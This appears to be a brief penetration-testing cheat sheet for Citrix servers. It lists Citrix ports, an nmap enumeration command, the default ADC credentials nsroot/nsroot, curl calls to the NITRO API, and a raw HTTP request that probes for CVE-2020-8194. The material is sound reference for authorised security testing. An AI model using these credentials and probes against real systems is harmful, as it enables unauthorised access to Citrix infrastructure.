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Internal Pentesting Citrix Servers


Citrix Servers - Ports
1604 - Citrix MetaFrame ICA 1494/tcp open citrix-ica Citrix Metaframe XP ICA - Citrix VDI (Virtual Delivery Agent) 2598/tcp open citriximaclient #Below 4 are used in Load Balancers 3008/tcp open ssl/midnight-tech? 3009/tcp open ssl/mep Citrix NetScaler Metric Exchange Protocol 3010/tcp open gw?                Citrix NetScaler Gateway 3011/tcp open mep Citrix NetScaler Metric Exchange Protocol nmap -sS -sU --script citrix-enum-apps,citrix-enum-servers -i ips.txt -Pn -oA citrix For Citrix ADC - Default Username/Password : nsroot/nsroot

Finding Citrix ADC Version

https://10.10.10.10/nitro/v1/config/nsversion or curl -X GET -H "Content-Type: application/json" -u nsroot:examplepassword http://<Citrix-ADC-IP-address(NSIP)>/nitro/v1/config/nsversion curl -X GET -H "Content-Type: application/json" -u <username>:<examplepassword> http://<Citrix-ADC-IP-address(NSIP)>/nitro/v1/config/nslicense

Testing Citrix ADC & Citrix Gateway for CVE-2020-8194

This vulnerability is present in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14, and 10.5-70.18. Send a request as below and see if you can get any nitro errors POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 Host: 10.10.10.10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: application/xml X-NITRO-USER: ht3yh6sQ X-NITRO-PASS: q3d15maS Content-Length: 46 <appfwprofile><login></login></appfwprofile> POC script on github - One more




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